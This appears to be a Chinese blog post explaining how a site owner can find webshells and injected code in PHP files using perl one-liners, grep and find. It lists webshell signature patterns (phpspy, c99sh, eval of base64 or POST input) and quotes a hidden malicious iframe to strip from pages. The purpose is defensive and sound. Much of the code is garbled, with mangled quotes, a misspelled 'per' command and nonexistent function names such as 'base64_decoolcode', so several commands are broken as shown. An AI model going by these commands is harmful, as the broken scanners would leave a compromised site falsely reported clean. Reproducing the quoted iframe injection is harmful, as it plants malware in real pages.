当前位置:首页 > 生活百科

webshell为什么无法通过挂马检测(浅谈其原因及解决方法)

栏目:生活百科日期:2025-04-14浏览:0

作为一个个人站长,一个特头疼的问题是不知不觉中网站会被人黑了,挂马了。在以前的文章中笔者介绍过用脚本分析访问日志,对恶意攻击进行封闭的处理方法。

那么对于已经被人挂马,被人插入Webshell的网站,该如何处理,这里笔者给你介绍一种相对简单,操作性强的方法,那就是今天文章的内容。

根据Webshell中的一些特征字段进行搜索,就可以搜出可能含有木马的文件,特征字段可自行根据需要增删。

perl -lne &‘print &“$ARGV $_&” if /(phpspy|c99sh|milw0rm|eval(gunerpress|eval(base64_decoolcode|spider_bc)/ &‘ `find -type f -name &“*.php&”`

本行脚本解释:这行代码结合了find和Perl单行来实现Webshell的查杀,首先通过` find -type f -name &“*.php&”` 列出本目录及子目录下所有php文件,注意`反斜杠(tab上面的建),find命令参数 -type f表示类型为文件,-name &“*.php&”`表示文件名以php结尾(当然可以是其他类型,可以是其他特征)。

find具体用法可以用find -h看说明,或者搜索引擎搜索其用法。

接着搜索到的所有php文件都被传递个Perl单行,perl对每一个文件按行进行正则搜索,搜索phpspy,c99sh,milw0rm,eval (gunerpress,eval (base64_decoolcode,spider_bc等关键词(注意正则匹配中&”(&“为关键字需要在其前面加反斜杠来转义)。最后把匹配到的文件名和行内容输出。

注意输出的$ARGV表示文件列表中的每一个文件文件名,$_表示当前列表的当前项,此处表示匹配到的行内容。

以上的脚本输出了每一个匹配的行,可以作为一个用来详细核对每一个项目。实际中会需要只输出有问题文件名,其实也简单,对上述脚本稍做修改即可。

per -lne &‘{$files{$ARGV}++ if /(phpspy|c99sh|milw0rm|eval(gunerpress|eval(base64_decoolcode|spider_bc)/}END{print for keys %files} &‘ `find -type f -name &“*.php&”`

以上脚本在脚本1的基础上用了个哈希变量 %files把匹配的每一行的文件名作为键,如果有匹配其值就+1,最后再END模块输出%files的键,即有匹配的文件名。当然也可以先把所有文件名都输出然后重定向做个uniq也可以的。

perl -lne &‘print &“$ARGV&” if /(phpspy|c99sh|milw0rm|eval(gunerpress|eval(base64_decoolcode|spider_bc)/ &‘ `find -type f -name &“*.php&”`|uniq

需要注意的是,以上查出来的文件,有可能是正常的php文件,需要你根据实际甄别处理(批量替换),不要误杀了(处理前注意备份俄)。

用grep方法,见下面。

grep -r –include=*.php ‘[^a-z]eval($_POST’ . &> /tmp/eval.txt

grep -r –include=*.php ‘file_put_contents(.*$_POST[.*]);’ . &> /tmp/file_put_contents.txt

其他需要注意的事项:

快捷查询Web文件修改时间,文件权限可以用:

查找最近一天被修改的PHP文件

find -type f -mtime -1 -name *.php

修改网站的权限

find -type f -name *.php -exec chmod 444 {} ;

find ./ -type d -exec chmod 555{} ;

最后做一个知识扩展:

1、linux下的批量查找和替换。

find . -type f -name “*.html”|xargs grep ‘yourstring’

2、查找并用perl One-liners替换

find -name ‘要查找的文件名’ | xargs perl -pi -e ‘s|被替换的字符串|替换后的字符串|g’

下面这个例子就是将当前目录及所有子目录下的所有*.shtml文件中的”&<iframe src=
http://com-indexl.com/ask/admin.html width=0 height=0&>&</iframe&>“替换为”(空)“.

find . -type f -name “*.shtml”|xargs perl -pi -e ‘s|&<iframe src=http://com-indexl.com/ask/admin.html width=0 height=0&>&</iframe&>| |g’

perl -pi -e

在Perl 命令中加上-e 选项,后跟一行代码,那它就会像运行一个普通的Perl 脚本那样运行该代码.

“webshell为什么无法通过挂马检测(浅谈其原因及解决方法)” 的相关文章

tcl是哪国的品牌(TCL是老牌子吗)

TCL的波兰工厂位于距离首都华沙约1小时车程的日拉尔杜夫;这里生产出来的电视,一两天时间就可以送抵德国和法国,三、四天就可以摆在西班牙和意大利的货架上。工厂有约...

iphone充电提示音在哪里设置(iPhone修改充电提示音教程

首先给大家说明:设置充电提示音达到的效果就是,当手机插上充电线的时候,会自动播放一段音频,这段音频可以自定义,不过我给大家准备好了很多好听的提示音,可以在下边先...

偶数页页眉怎么设置(wps奇偶数页眉内容不相同)

面对这个通过率较低的考试你是不是有点小紧张济小智帮你整理了重点快来看看吧必背快捷键Ctrl+Shift切换输入法Ctrl+F查找Ctrl+H替换Ctrl+E居中...

如何起名字才好听,姓名字义解释查询

众所周知,孩子在出生之后,家长需要给他取一个名字,不过有些家长在孩子出生之前,就已经把名字取好了,这个先暂且不提。但是给孩子取名字可是个“技术活”,为什么这么说...

京东推广方式有哪些(浅谈这3种推广方式)

一、京东上推广的三大平台京东三大推广平台:京东展位、京东快车、购物触点。1、京东快车:在京东站内推广的一种按照点击付费(CPC)方式的总价类广告营销产品。设置好...

2019淘宝排名优化技巧(最管用的淘宝优化提高排名的方法

做淘宝这么久,标题的重要性想必大家都很清楚关于对标题的优化技巧相信大家也看了市面上各种大神的分享,看的时候听得时候都觉得好有道理,但是真正落实到自己宝贝实操的时...

delphi开发安卓步骤(web开发桌面应用程序)

当你有两个或者两个以上的线程同时运行,并且他们共同操作的同一块数据时,我们必须要对其进行保护,否则因为时间切片或者一些其他原因造成的延时都会让你的程序产生错误的...

2023年cba季后赛赛程安排(前先看cba比赛安排时间)

此次亚预赛再次延期,姚明做出了非常果断的决定,国家队放弃亚预赛,由国青队代为出战。国家集训队就地解散,第三阶段联赛提前开展。所有的一切都说明了这一次篮协是提前做...

外链是什么,外链的作用及定义

网站SEO优化需要先弄清楚SEO基础名词是什么意思。比如我们今天讲的外链就是SEO优化比较重要的一个SEO优化基础名词。百度关于外链是这样说的:外链就是指在别的...

公众号内容运营是做什么的(带你了解公众号运营)

公众号的3种类型以及区别:  微信公众号的3种类型:订阅号、服务号、企业号。  订阅号:每天可以群发一条信息,具备信息传播、媒体资讯传播、品牌宣传的作用,开放部...